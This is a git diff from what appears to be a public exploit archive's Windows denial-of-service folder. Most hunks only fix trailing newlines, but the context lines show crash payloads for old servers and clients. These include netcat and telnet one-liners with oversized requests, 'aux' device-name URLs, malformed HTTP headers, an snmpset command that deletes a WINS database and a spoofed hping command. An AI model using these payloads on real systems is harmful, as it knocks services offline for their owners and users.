a/platforms/windows/dos/18463.html b/platforms/windows/dos/18463.html index b677721d4..4b75224b3 100755 --- a/platforms/windows/dos/18463.html +++ b/platforms/windows/dos/18463.html @@ -42,4 +42,4 @@ arg1=String(2068, "A") target.TitlebarText = arg1 -</script> \ No newline at end of file +</script> \ No newline at end of file diff --git a/platforms/windows/dos/18481.py b/platforms/windows/dos/18481.py index 7211ab1ab..0788ed278 100755 --- a/platforms/windows/dos/18481.py +++ b/platforms/windows/dos/18481.py @@ -16,4 +16,4 @@ f = open("Exploit.m3u","wb") f.write(payload) f.close() - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/windows/dos/18661.txt b/platforms/windows/dos/18661.txt index f80f2765f..41d45119e 100755 --- a/platforms/windows/dos/18661.txt +++ b/platforms/windows/dos/18661.txt @@ -195,4 +195,4 @@ payload = (PoC) f = open("PoC.mp4","wb") f.write(payload) f.close() - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/windows/dos/18757.txt b/platforms/windows/dos/18757.txt index 805038994..39e2b06a9 100755 --- a/platforms/windows/dos/18757.txt +++ b/platforms/windows/dos/18757.txt @@ -28,4 +28,4 @@ avi.write(Data) avi.close() print - "[-] MP4 file generated" \ No newline at end of file + "[-] MP4 file generated" \ No newline at end of file diff --git a/platforms/windows/dos/18795.py b/platforms/windows/dos/18795.py index 264d35fe1..d9b05584c 100755 --- a/platforms/windows/dos/18795.py +++ b/platforms/windows/dos/18795.py @@ -35,4 +35,4 @@ avi.write(Data) avi.close() - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/windows/dos/19207.txt b/platforms/windows/dos/19207.txt index f40c993de..7f4dc201f 100755 --- a/platforms/windows/dos/19207.txt +++ b/platforms/windows/dos/19207.txt @@ -17,4 +17,4 @@ actually cause . the -. \ No newline at end of file +. \ No newline at end of file diff --git a/platforms/windows/dos/19238.txt b/platforms/windows/dos/19238.txt index 1852553c2..43a86872f 100755 --- a/platforms/windows/dos/19238.txt +++ b/platforms/windows/dos/19238.txt @@ -6,4 +6,4 @@ Should an NT host claim the hostname of a "victim" NT host while that host is tu A situation has been noted wherein a Win95 host may register the victim hostname (with a WINS server) by setting the Win95 workgroup name equal to the victim's hostname. The next time the victim host is rebooted, it will fail to start the workstation and server services as the WINS server will report that the hostname is claimed by the Win95 host. -Set the Win95 workgroup name equal to the hostname for the victim NT host. If the WINS server registers this hostname, and the victim NT host is rebooted, it will fail to start its workstation and server services. \ No newline at end of file +Set the Win95 workgroup name equal to the hostname for the victim NT host. If the WINS server registers this hostname, and the victim NT host is rebooted, it will fail to start its workstation and server services. \ No newline at end of file diff --git a/platforms/windows/dos/19471.html b/platforms/windows/dos/19471.html index f578021b2..31e2bd982 100755 --- a/platforms/windows/dos/19471.html +++ b/platforms/windows/dos/19471.html @@ -27,4 +27,4 @@ maxlength="99999999" value=""></td> </body> </html> ----{STOP SOURCE}--- \ No newline at end of file +---{STOP SOURCE}--- \ No newline at end of file diff --git a/platforms/windows/dos/19596.txt b/platforms/windows/dos/19596.txt index 9cb43a028..2f372a8de 100755 --- a/platforms/windows/dos/19596.txt +++ b/platforms/windows/dos/19596.txt @@ -4,4 +4,4 @@ BFTelnet, a telnet server for Windows NT by Byte Fusion, will crash if a user na telnet victim.com -Login: [3090 charcter string] \ No newline at end of file +Login: [3090 charcter string] \ No newline at end of file diff --git a/platforms/windows/dos/19640.txt b/platforms/windows/dos/19640.txt index e6733d4b5..cd620d5c4 100755 --- a/platforms/windows/dos/19640.txt +++ b/platforms/windows/dos/19640.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/823/info Alt-N's WorldClient is an email webserver that allows it's users to retrieve email via HTTP. It is susceptible to denial of service attacks due to an unchecked buffer in the request handler. Supplying a long url will crash the server. -http ://target.host:2000/[long string] \ No newline at end of file +http ://target.host:2000/[long string] \ No newline at end of file diff --git a/platforms/windows/dos/19666.txt b/platforms/windows/dos/19666.txt index e1ec988fc..2924cb759 100755 --- a/platforms/windows/dos/19666.txt +++ b/platforms/windows/dos/19666.txt @@ -18,4 +18,4 @@ Welcome to GoodTech Telnet Server for Windows NT (V2.2) (Evaluation Copy) Login username: (32870 characters) -...server crash \ No newline at end of file +...server crash \ No newline at end of file diff --git a/platforms/windows/dos/19748.txt b/platforms/windows/dos/19748.txt index d97bea0bf..0fb92f88f 100755 --- a/platforms/windows/dos/19748.txt +++ b/platforms/windows/dos/19748.txt @@ -9,4 +9,4 @@ user username +OK valid pass password +OK Authorized -RETR 11111111111 \ No newline at end of file +RETR 11111111111 \ No newline at end of file diff --git a/platforms/windows/dos/19820.txt b/platforms/windows/dos/19820.txt index f068dac9e..ca8374767 100755 --- a/platforms/windows/dos/19820.txt +++ b/platforms/windows/dos/19820.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/1076/info Requesting a URL containing a string of exactly eight characters following the /cgi-bin/ directory (17 characters in total) will cause AnalogX SimpleServer:WWW to shut down. -http://target/cgi-bin/<8 character long string> \ No newline at end of file +http://target/cgi-bin/<8 character long string> \ No newline at end of file diff --git a/platforms/windows/dos/19834.txt b/platforms/windows/dos/19834.txt index 350710f17..e3a3a18c5 100755 --- a/platforms/windows/dos/19834.txt +++ b/platforms/windows/dos/19834.txt @@ -6,4 +6,4 @@ This vulnerability may be exploited remotely if such a URL were embedded in a HT So far only the Windows versions of the Real Player have been proven to be vulnerable in this manner. -http://<string containing over 300 characters> \ No newline at end of file +http://<string containing over 300 characters> \ No newline at end of file diff --git a/platforms/windows/dos/19835.txt b/platforms/windows/dos/19835.txt index c8f01dbb5..b0a631622 100755 --- a/platforms/windows/dos/19835.txt +++ b/platforms/windows/dos/19835.txt @@ -11,4 +11,4 @@ will cause the slxweb.dll process to shutdown. Possibly other commands aside fro Additional notes: The program which issues administrative commands (slxweb.dll) is installed by default in the /scripts directory and cannot be relocated. In addition to this security concern, the package requires a user to change the default anonymous username (IUSR_{systemname}) in Microsoft IIS to 'slxwebuser' and grant it administrative privileges. -http://target/scripts/slxweb.dll/admin?command=shutdown \ No newline at end of file +http://target/scripts/slxweb.dll/admin?command=shutdown \ No newline at end of file diff --git a/platforms/windows/dos/19853.txt b/platforms/windows/dos/19853.txt index edd132160..4f58dd8c6 100755 --- a/platforms/windows/dos/19853.txt +++ b/platforms/windows/dos/19853.txt @@ -5,4 +5,4 @@ The htimage.exe and imagemap.exe files included with FrontPage handle server-sid If the mapname portion of the request is replaced with 741 or more characters, the webserver software will crash, although the operating system will continue to function normally. Stack dumps reveal that user-supplied data occasionally makes it to the EIP register, making the execution of remote arbitrary code potentially possible. To crash the server: -http:&nbsp;//target/path/htimage.exe/<741+characters>?0,0 \ No newline at end of file +http:&nbsp;//target/path/htimage.exe/<741+characters>?0,0 \ No newline at end of file diff --git a/platforms/windows/dos/20015.txt b/platforms/windows/dos/20015.txt index 0aa038136..53cfd8e16 100755 --- a/platforms/windows/dos/20015.txt +++ b/platforms/windows/dos/20015.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/1349/info If a long url is sent to port 80 on a SimpleServer WWW 1.05 it could cause the service to stop responding. A restart of the server service is required inorder to regain normal functionality. -http://target/cgi-bin/long_string_here \ No newline at end of file +http://target/cgi-bin/long_string_here \ No newline at end of file diff --git a/platforms/windows/dos/20016.py b/platforms/windows/dos/20016.py index f5b75ff09..1d5c08b13 100755 --- a/platforms/windows/dos/20016.py +++ b/platforms/windows/dos/20016.py @@ -26,3 +26,4 @@ from ftplib import FTP ftp = FTP('xxx.xxx.xxx.xxx') # Replace x's with ip ftp.login('A' * 16500) ftp.quit() + \ No newline at end of file diff --git a/platforms/windows/dos/20017.py b/platforms/windows/dos/20017.py index 4c85264a2..5478f4896 100755 --- a/platforms/windows/dos/20017.py +++ b/platforms/windows/dos/20017.py @@ -20,3 +20,4 @@ h = httplib.HTTP('xxx.xxx.xxx.xxx') #replace x's with ip h.putrequest('GET', 'A' * 65000) #end + \ No newline at end of file diff --git a/platforms/windows/dos/20020.txt b/platforms/windows/dos/20020.txt index 60f1602a5..1b45e030b 100755 --- a/platforms/windows/dos/20020.txt +++ b/platforms/windows/dos/20020.txt @@ -17,4 +17,4 @@ quit +OK . quit -+OK <username> <target> POP Server signing off (mailbox empty) \ No newline at end of file ++OK <username> <target> POP Server signing off (mailbox empty) \ No newline at end of file diff --git a/platforms/windows/dos/20047.txt b/platforms/windows/dos/20047.txt index 5bacb3ad1..cc003e927 100755 --- a/platforms/windows/dos/20047.txt +++ b/platforms/windows/dos/20047.txt @@ -4,4 +4,4 @@ Microsoft Windows 2000 Server comes with a telnet server to provide remote conso An attacker can exploit this issue using netcat under Linux: -nc target.host 23 < /dev/zero \ No newline at end of file +nc target.host 23 < /dev/zero \ No newline at end of file diff --git a/platforms/windows/dos/20094.txt b/platforms/windows/dos/20094.txt index 63f6d1d1d..2932e2bf7 100755 --- a/platforms/windows/dos/20094.txt +++ b/platforms/windows/dos/20094.txt @@ -5,4 +5,4 @@ The M3U Playlist file parser in NullSoft Winamp does not perform proper bounds c Cut and paste the following into a M3U file: EXTM3U -#EXTINF:<string of of over 280 characters> \ No newline at end of file +#EXTINF:<string of of over 280 characters> \ No newline at end of file diff --git a/platforms/windows/dos/2039.pl b/platforms/windows/dos/2039.pl index 293fd81f9..e67673948 100755 --- a/platforms/windows/dos/2039.pl +++ b/platforms/windows/dos/2039.pl @@ -36,3 +36,4 @@ do } while (true); # milw0rm.com [2006-07-20] + \ No newline at end of file diff --git a/platforms/windows/dos/20432.txt b/platforms/windows/dos/20432.txt index b19999b26..0e0277109 100755 --- a/platforms/windows/dos/20432.txt +++ b/platforms/windows/dos/20432.txt @@ -4,4 +4,4 @@ Network Associates WebShield SMTP is an email virus scanner designed for interne In the event that WebShield SMTP receives an outgoing email containing six "%20" followed by any character within the recipient field, the application will crash, resulting in an access violation error upon processing of the email. Restarting WebShield SMTP is required in order to regain normal functionality. It has been unverified as to whether or not arbitrary code can be executed on the target system if specially crafted code is inserted into the buffer. -recipient@f%20f%20f%20f%20f%20f%20f \ No newline at end of file +recipient@f%20f%20f%20f%20f%20f%20f \ No newline at end of file diff --git a/platforms/windows/dos/20484.txt b/platforms/windows/dos/20484.txt index b20c683b6..ba48ec224 100755 --- a/platforms/windows/dos/20484.txt +++ b/platforms/windows/dos/20484.txt @@ -21,4 +21,4 @@ Note that the server should respond to these exploits with an "Error: no blank line separating header and data", because of the "1 file(s) copied" message appearing without a blank line before it (which is required for HTTP; if you need a command's output, you can redirect it to a file, and -get that file via HTTP with a separate request). \ No newline at end of file +get that file via HTTP with a separate request). \ No newline at end of file diff --git a/platforms/windows/dos/20508.txt b/platforms/windows/dos/20508.txt index c33a6b0c9..4444eef13 100755 --- a/platforms/windows/dos/20508.txt +++ b/platforms/windows/dos/20508.txt @@ -7,4 +7,4 @@ Quoted from a Microsoft FAQ, "Point-to-Point-Tunneling Protocol (PPTP) is a new hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh hhhhhhhhhhhhhhhhhhhhhhhhhhhh (256 characters) -3) ctrl-d \ No newline at end of file +3) ctrl-d \ No newline at end of file diff --git a/platforms/windows/dos/20518.txt b/platforms/windows/dos/20518.txt index 730b27e65..e40b7a496 100755 --- a/platforms/windows/dos/20518.txt +++ b/platforms/windows/dos/20518.txt @@ -7,4 +7,4 @@ Unfortunately Interchange is subject to a denial of service. By requesting a mal This vulnerability may be the result of a buffer overflow, although not verified this could lead to the execution of arbitrary code on the target host. telnet victim 80 -POST (963+ bytes) HTTP/1.0 \ No newline at end of file +POST (963+ bytes) HTTP/1.0 \ No newline at end of file diff --git a/platforms/windows/dos/20552.html b/platforms/windows/dos/20552.html index 719bbb52e..8faa236e7 100755 --- a/platforms/windows/dos/20552.html +++ b/platforms/windows/dos/20552.html @@ -13,4 +13,4 @@ test.document.open(); // Stream data test.document.write("<s"+"cript>top.Larholm.test=0</s"+"cript>"); delete Larholm; Larholm = {}; // Crash -</script> \ No newline at end of file +</script> \ No newline at end of file diff --git a/platforms/windows/dos/20564.txt b/platforms/windows/dos/20564.txt index 568e84b3b..fcaf46ed8 100755 --- a/platforms/windows/dos/20564.txt +++ b/platforms/windows/dos/20564.txt @@ -7,4 +7,4 @@ The Simple Network Management Protocol (SNMP) provides remote network administra snmp-set-requests, my sample exploit was done using the CMU SNMP development kit under Unix. The command "rnjdev02:~/cmu$ snmpset -v 1 192.178.16.2 public .1.3.6.1.4.1.311.1.2.5.3.0 a 192.178.16.2" -successfully entirely deleted my WINS database." \ No newline at end of file +successfully entirely deleted my WINS database." \ No newline at end of file diff --git a/platforms/windows/dos/20634.txt b/platforms/windows/dos/20634.txt index 57870b68c..c94c75e30 100755 --- a/platforms/windows/dos/20634.txt +++ b/platforms/windows/dos/20634.txt @@ -7,4 +7,4 @@ Pi3Web has also been known to disclose the physical path to the web root by requ http://target/isapi/tstisapi.dll?[a lot of 'A's] -http://localhost/[any string which causes a 404 error] \ No newline at end of file +http://localhost/[any string which causes a 404 error] \ No newline at end of file diff --git a/platforms/windows/dos/20641.txt b/platforms/windows/dos/20641.txt index 12008e96e..558f9adcf 100755 --- a/platforms/windows/dos/20641.txt +++ b/platforms/windows/dos/20641.txt @@ -6,4 +6,4 @@ Requesting a specially crafted URL composed of 284 or more bytes, will cause the A restart of the server is required in order to gain normal functionality. -http://target/ext.dll?aaaaa(x 248 bytes) \ No newline at end of file +http://target/ext.dll?aaaaa(x 248 bytes) \ No newline at end of file diff --git a/platforms/windows/dos/20650.txt b/platforms/windows/dos/20650.txt index c4ed85ede..2d9185e57 100755 --- a/platforms/windows/dos/20650.txt +++ b/platforms/windows/dos/20650.txt @@ -6,4 +6,4 @@ A problem with the software could allow a denial of service to legitimate users. It is possible for a malicious remote user may take advantage of this vulnerability to deny service to legitimate users. -echo "GET " `perl -e 'print "A" x 666'` | telnet 192.168.0.20 80 \ No newline at end of file +echo "GET " `perl -e 'print "A" x 666'` | telnet 192.168.0.20 80 \ No newline at end of file diff --git a/platforms/windows/dos/20655.txt b/platforms/windows/dos/20655.txt index 5cc88e76a..9b61609b6 100755 --- a/platforms/windows/dos/20655.txt +++ b/platforms/windows/dos/20655.txt @@ -6,4 +6,4 @@ The attacker could submit a specially crafted GET request via a telnet connectio A restart of the server is required to gain normal functionality. -echo "GET A" | telnet target \ No newline at end of file +echo "GET A" | telnet target \ No newline at end of file diff --git a/platforms/windows/dos/20656.txt b/platforms/windows/dos/20656.txt index ffccdd9a4..9e3ab1609 100755 --- a/platforms/windows/dos/20656.txt +++ b/platforms/windows/dos/20656.txt @@ -6,4 +6,4 @@ Submitting a specially crafted request via a telnet connection, could cause the A restart of the server is required in order to gain normal functionality. -echo `perl -e 'print "A" x 1000'` | telnet target \ No newline at end of file +echo `perl -e 'print "A" x 1000'` | telnet target \ No newline at end of file diff --git a/platforms/windows/dos/20662.txt b/platforms/windows/dos/20662.txt index a08e312fb..1c70ebeae 100755 --- a/platforms/windows/dos/20662.txt +++ b/platforms/windows/dos/20662.txt @@ -6,4 +6,4 @@ A problem in the handling of HTTP GET requests could allow a remote user to deny It is therefore possible for a malicious remote user to connect to the server and request a long file name, crashing the server, and resulting in a denial of service attack. -echo "GET " `perl -e 'print "A" x 80000'` | nc vulnerable.server 80 \ No newline at end of file +echo "GET " `perl -e 'print "A" x 80000'` | nc vulnerable.server 80 \ No newline at end of file diff --git a/platforms/windows/dos/20682.txt b/platforms/windows/dos/20682.txt index 2668421fc..3f696342a 100755 --- a/platforms/windows/dos/20682.txt +++ b/platforms/windows/dos/20682.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/2468/info A denial of service condition exists in Michael Lamont Savant web server. Requesting a specially crafted URL composed of '%' characters could cause the server to stop responding. -www.target/%%% \ No newline at end of file +www.target/%%% \ No newline at end of file diff --git a/platforms/windows/dos/20696.txt b/platforms/windows/dos/20696.txt index 23a93e333..cc9d1d004 100755 --- a/platforms/windows/dos/20696.txt +++ b/platforms/windows/dos/20696.txt @@ -6,4 +6,4 @@ A successfully logged-in user, via IMAP, could cause MDaemon to terminate the co 1 LOGIN JOE PASSWORD * OK LOGIN completed -1 SELECT AAAAAAA.... \ No newline at end of file +1 SELECT AAAAAAA.... \ No newline at end of file diff --git a/platforms/windows/dos/20728.txt b/platforms/windows/dos/20728.txt index 3efe55c1a..00be5bf44 100755 --- a/platforms/windows/dos/20728.txt +++ b/platforms/windows/dos/20728.txt @@ -8,4 +8,4 @@ GET / HTTP/1.1 Proxy-Authorization:AAAAAAAAAAAAA..... Where A x 1033 or more characters, as long as its -over 1032, it will work. \ No newline at end of file +over 1032, it will work. \ No newline at end of file diff --git a/platforms/windows/dos/20770.txt b/platforms/windows/dos/20770.txt index e6ff978d6..2028b6453 100755 --- a/platforms/windows/dos/20770.txt +++ b/platforms/windows/dos/20770.txt @@ -8,4 +8,4 @@ Therefore, it is possible for a remote user to deny service to legitimate users telnet web.server 80 GET /aux -then hit return twice \ No newline at end of file +then hit return twice \ No newline at end of file diff --git a/platforms/windows/dos/20771.txt b/platforms/windows/dos/20771.txt index 4c4edaa18..73381a8eb 100755 --- a/platforms/windows/dos/20771.txt +++ b/platforms/windows/dos/20771.txt @@ -8,4 +8,4 @@ Therefore, it is possible for remote users to deny service to legitimate users o telnet vulnerable.web.server 80 GET /aux -then hit return twice \ No newline at end of file +then hit return twice \ No newline at end of file diff --git a/platforms/windows/dos/20830.txt b/platforms/windows/dos/20830.txt index dd74d52fc..ef4e9a3c6 100755 --- a/platforms/windows/dos/20830.txt +++ b/platforms/windows/dos/20830.txt @@ -6,4 +6,4 @@ It is possible to remotely crash a system running Jana Server by submitting a UR A hard reboot of the exploited server will be required to restore web services. -www.example.com/aux \ No newline at end of file +www.example.com/aux \ No newline at end of file diff --git a/platforms/windows/dos/20854.txt b/platforms/windows/dos/20854.txt index 150b1759a..14386d09a 100755 --- a/platforms/windows/dos/20854.txt +++ b/platforms/windows/dos/20854.txt @@ -10,4 +10,4 @@ LOCK /aaaaaaaaaaaaaaaaaaaaaaaaaa.htw HTTP/1.0 One way is to combine the attack with asp executions, eg. -GET /iisstart.asp?uc=a HTTP/1.0 \ No newline at end of file +GET /iisstart.asp?uc=a HTTP/1.0 \ No newline at end of file diff --git a/platforms/windows/dos/20883.txt b/platforms/windows/dos/20883.txt index 75b143aab..ce115050e 100755 --- a/platforms/windows/dos/20883.txt +++ b/platforms/windows/dos/20883.txt @@ -6,4 +6,4 @@ By submitting a request to the webserver including the 'AUX' MS-DOS device name, The process has to be manually restarted to resume normal operation. -http://server/aux \ No newline at end of file +http://www.server.com/aux \ No newline at end of file diff --git a/platforms/windows/dos/20904.pl b/platforms/windows/dos/20904.pl index 86a204ce9..1db094137 100755 --- a/platforms/windows/dos/20904.pl +++ b/platforms/windows/dos/20904.pl @@ -18,7 +18,7 @@ use Socket; die "$0 - Crashes Pragma Interaccess 4.0 Server. written by nemesystm of the DHC http://dhcorp.cjb.net - neme-dhc\@hushmail.com -usage: perl $0 server\n" if !defined $ARGV[0]; +usage: perl $0 target.com\n" if !defined $ARGV[0]; $serverIP = inet_aton($ARGV[0]); $serverAddr = sockaddr_in(23, $serverIP); diff --git a/platforms/windows/dos/20991.txt b/platforms/windows/dos/20991.txt index 471eef677..90dd2c8a9 100755 --- a/platforms/windows/dos/20991.txt +++ b/platforms/windows/dos/20991.txt @@ -4,4 +4,4 @@ Microsoft IIS is prone to denial of service attacks by remote attackers. This ca The end result of exploiting this vulnerability is that the server will crash and a denial of services will occur. The affected services must be restarted to regain normal functionality. -http://host.int/scripts/script.asp?script=com1 \ No newline at end of file +http://host.int/scripts/script.asp?script=com1 \ No newline at end of file diff --git a/platforms/windows/dos/21170.txt b/platforms/windows/dos/21170.txt index a689cf6f8..7995b6486 100755 --- a/platforms/windows/dos/21170.txt +++ b/platforms/windows/dos/21170.txt @@ -6,4 +6,4 @@ Red Faction allows up to 32 players to game across a LAN or TCP/IP. Both the Red The following example is sufficient to crash Red Faction: -nmap -sU -p 7755 <ip> \ No newline at end of file +nmap -sU -p 7755 <ip> \ No newline at end of file diff --git a/platforms/windows/dos/21177.txt b/platforms/windows/dos/21177.txt index f991fc5dc..1ae8f56cb 100755 --- a/platforms/windows/dos/21177.txt +++ b/platforms/windows/dos/21177.txt @@ -16,4 +16,4 @@ User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0) Host: 192.168.0.10 Connection: Keep-Alive Content-Length: 5300643 -Authorization: Basic \ No newline at end of file +Authorization: Basic \ No newline at end of file diff --git a/platforms/windows/dos/21333.txt b/platforms/windows/dos/21333.txt index 988ad5818..4c70b3252 100755 --- a/platforms/windows/dos/21333.txt +++ b/platforms/windows/dos/21333.txt @@ -22,4 +22,4 @@ characters for each word to add as a screenname and a groupname, the instances should be 11 for the screenname and 10 for the groupname 6- A memory dump will occurs as soon as the hyperlink is clicked by -either side (You or your buddy). \ No newline at end of file +either side (You or your buddy). \ No newline at end of file diff --git a/platforms/windows/dos/21336.txt b/platforms/windows/dos/21336.txt index 83051d90e..fe7156671 100755 --- a/platforms/windows/dos/21336.txt +++ b/platforms/windows/dos/21336.txt @@ -9,4 +9,4 @@ The webserver will need to be restarted to regain normal functionality. This issue was reported for v2.10 of Xerver. Earlier versions may also be affected. -printf "GET /`perl -e 'print "C:/"x500000'`\r\n\r\n" |nc -vvn 127.0.0.1 32123 \ No newline at end of file +printf "GET /`perl -e 'print "C:/"x500000'`\r\n\r\n" |nc -vvn 127.0.0.1 32123 \ No newline at end of file diff --git a/platforms/windows/dos/21366.txt b/platforms/windows/dos/21366.txt index a2f843613..e4df8d0fd 100755 --- a/platforms/windows/dos/21366.txt +++ b/platforms/windows/dos/21366.txt @@ -13,4 +13,4 @@ Dim i for i=1 to 100 Set a = CreateObject("Word.Application") Next -</SCRIPT> \ No newline at end of file +</SCRIPT> \ No newline at end of file diff --git a/platforms/windows/dos/21389.txt b/platforms/windows/dos/21389.txt index d41aa72f7..7cf8f5377 100755 --- a/platforms/windows/dos/21389.txt +++ b/platforms/windows/dos/21389.txt @@ -5,4 +5,4 @@ An issue has been discovered in Windows 2000, which could cause a denial of syst Submitting malformed data to port 445 could cause the Lanman service to consume high CPU and Kernel mode memory usage. -https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/21389.tar.gz \ No newline at end of file +https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/21389.tar.gz \ No newline at end of file diff --git a/platforms/windows/dos/21481.txt b/platforms/windows/dos/21481.txt index 0d4dda207..b5680a676 100755 --- a/platforms/windows/dos/21481.txt +++ b/platforms/windows/dos/21481.txt @@ -14,4 +14,4 @@ Application-URL: http://www.microsoft.com Invitation-Command: INVITE Invitation-Cookie: 54902160%20%20%20%20%20%20%20%20%20%20% 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20 -Session-ID: {8B1BE64F-4019-489D-B1A3-EC0BA993651B} \ No newline at end of file +Session-ID: {8B1BE64F-4019-489D-B1A3-EC0BA993651B} \ No newline at end of file diff --git a/platforms/windows/dos/21536.jsp b/platforms/windows/dos/21536.jsp index 7a26d7e2f..9417c6b39 100755 --- a/platforms/windows/dos/21536.jsp +++ b/platforms/windows/dos/21536.jsp @@ -26,4 +26,4 @@ new WPrinterJob().pageSetup(null,null); %> </body> -</html> \ No newline at end of file +</html> \ No newline at end of file diff --git a/platforms/windows/dos/21540.txt b/platforms/windows/dos/21540.txt index ffdf251be..9658adc0c 100755 --- a/platforms/windows/dos/21540.txt +++ b/platforms/windows/dos/21540.txt @@ -10,4 +10,4 @@ This issue has been reported to exist in SQL Server 2000 Gold, other versions ma IIS-Server/Nwind/Template/catalog.xml?contenttype=text/AAAA...AAA -This uses a 'template' file instead of a direct query to cause inetinfo.exe to crash. \ No newline at end of file +This uses a 'template' file instead of a direct query to cause inetinfo.exe to crash. \ No newline at end of file diff --git a/platforms/windows/dos/21556.txt b/platforms/windows/dos/21556.txt index 827e73179..cf5b5ed52 100755 --- a/platforms/windows/dos/21556.txt +++ b/platforms/windows/dos/21556.txt @@ -5,4 +5,4 @@ A problem with Microsoft Internet Explorer may make it possible to deny service It may be possible to crash IE. When IE encounters a style sheet with the p{cssText} element declared, and a font weight of bold is specified, the browser crashes. This could be used as a denial of service attack. -<style>p{cssText: font-weight: bold;}</style> \ No newline at end of file +<style>p{cssText: font-weight: bold;}</style> \ No newline at end of file diff --git a/platforms/windows/dos/21569.txt b/platforms/windows/dos/21569.txt index c847ef93f..9834b75d0 100755 --- a/platforms/windows/dos/21569.txt +++ b/platforms/windows/dos/21569.txt @@ -65,4 +65,4 @@ select @exploit = @exploit + N'";User ID=Admin;Password=;Extended properties=Excel 5.0'')...xactions' exec (@exploit) -------->8--------- \ No newline at end of file +------->8--------- \ No newline at end of file diff --git a/platforms/windows/dos/21600.txt b/platforms/windows/dos/21600.txt index 11d3b55c7..eb415505b 100755 --- a/platforms/windows/dos/21600.txt +++ b/platforms/windows/dos/21600.txt @@ -6,4 +6,4 @@ It has been discovered that BadBlue does not properly handle requests that do no GET HTTP/1.0 -GET HTTP/1.0 \ No newline at end of file +GET HTTP/1.0 \ No newline at end of file diff --git a/platforms/windows/dos/21673.txt b/platforms/windows/dos/21673.txt index d73f4b7ea..758a3c6c2 100755 --- a/platforms/windows/dos/21673.txt +++ b/platforms/windows/dos/21673.txt @@ -6,4 +6,4 @@ When a HTTP POST command is made to the web calendaring service on port 8484, an An attacker may exploit this vulnerability by submitting the following request to a vulnerable server: -POST / HTTP/1.0 \ No newline at end of file +POST / HTTP/1.0 \ No newline at end of file diff --git a/platforms/windows/dos/21792.txt b/platforms/windows/dos/21792.txt index 85c57a0cd..45743b79a 100755 --- a/platforms/windows/dos/21792.txt +++ b/platforms/windows/dos/21792.txt @@ -5,4 +5,4 @@ Savant Webserver is prone to a denial of service attack, when processing a negat It should be noted that versions below 3.1 may also be vulnerable to this issue. GET / HTTP/1.0 -Content-Length: -1 \ No newline at end of file +Content-Length: -1 \ No newline at end of file diff --git a/platforms/windows/dos/21915.txt b/platforms/windows/dos/21915.txt index 668fc0ce3..36702eb2f 100755 --- a/platforms/windows/dos/21915.txt +++ b/platforms/windows/dos/21915.txt @@ -4,4 +4,4 @@ A weakness has been reported in some PC Firewall packages that could allow remot Under some circumstances, it is possible for remote users to deny service to various sites for users of PC Firewall software. By sending spoofed traffic that could be deemed malicious by the firewall software package, an attacker could effectively limit the sites a system is capable of reaching. -hping -e 13 -d 2 -s 6000 -p 2140 -2 host1.example.com -c 2 -a host2.example.com \ No newline at end of file +hping -e 13 -d 2 -s 6000 -p 2140 -2 host1.example.com -c 2 -a host2.example.com \ No newline at end of file diff --git a/platforms/windows/dos/21935.txt b/platforms/windows/dos/21935.txt index 93704553a..dfe89e6f7 100755 --- a/platforms/windows/dos/21935.txt +++ b/platforms/windows/dos/21935.txt @@ -4,4 +4,4 @@ My Web Server is a web server software package distributed and maintained by MyW It has been reported that My Web Server does not properly handle long requests. Because of this, a remote user placing a HTTP GET request of excessive length could cause the server to become unstable. In most cases, a long GET request causes the web server to crash, requiring a manual restart of the service. -http://www.example.com/AAA...(approx. Ax994)...AAA \ No newline at end of file +http://www.example.com/AAA...(approx. Ax994)...AAA \ No newline at end of file diff --git a/platforms/windows/dos/21938.txt b/platforms/windows/dos/21938.txt index 1cbb6f836..22b091b71 100755 --- a/platforms/windows/dos/21938.txt +++ b/platforms/windows/dos/21938.txt @@ -4,4 +4,4 @@ A problem with SimpleWebServer could make it possible for a user to deny service It has been reported that SimpleWebServer does not properly handle long requests. Because of this, a remote attacker placing a HTTP request of excessive length could cause the server to become unstable. In most cases, a long request causes the web server to crash, requiring a manual restart of the service. -http://<server>/AAA[...]AAA \ No newline at end of file +http://<server>/AAA[...]AAA \ No newline at end of file diff --git a/platforms/windows/dos/21941.txt b/platforms/windows/dos/21941.txt index 8786fb08d..0e569621d 100755 --- a/platforms/windows/dos/21941.txt +++ b/platforms/windows/dos/21941.txt @@ -6,4 +6,4 @@ An attacker can exploit this vulnerability by issuing excessively long 'GET' req Although unconfirmed, it may be possible for a remote attacker to exploit this issue to execute arbitrary system commands with the privileges of the ViaVideo process. -perl -e 'print "GET " . "A" x 4132 . " HTTP/1.0\r\n\r\n";' | netcat 10.1.0.1 3603 \ No newline at end of file +perl -e 'print "GET " . "A" x 4132 . " HTTP/1.0\r\n\r\n";' | netcat 10.1.0.1 3603 \ No newline at end of file diff --git a/platforms/windows/dos/21965.txt b/platforms/windows/dos/21965.txt index 1ed66b5fa..67656b2bc 100755 --- a/platforms/windows/dos/21965.txt +++ b/platforms/windows/dos/21965.txt @@ -26,4 +26,4 @@ pass ****** +OK dark@dark's mailbox has 13 total messages (2274775 octets). dele -1 -Connection to host lost. \ No newline at end of file +Connection to host lost. \ No newline at end of file diff --git a/platforms/windows/dos/21981.txt b/platforms/windows/dos/21981.txt index e1683eee7..70ddaa7b1 100755 --- a/platforms/windows/dos/21981.txt +++ b/platforms/windows/dos/21981.txt @@ -6,4 +6,4 @@ An attacker can exploit this vulnerability by issuing a POST request with an inv POST / HTTP/1.1 Host: 127.0.0.1:2001 -Content-Length: 1 \ No newline at end of file +Content-Length: 1 \ No newline at end of file diff --git a/platforms/windows/dos/21982.txt b/platforms/windows/dos/21982.txt index 6992f73f4..e97891132 100755 --- a/platforms/windows/dos/21982.txt +++ b/platforms/windows/dos/21982.txt @@ -3,4 +3,4 @@ source: http://www.securityfocus.com/bid/6098/info A denial of 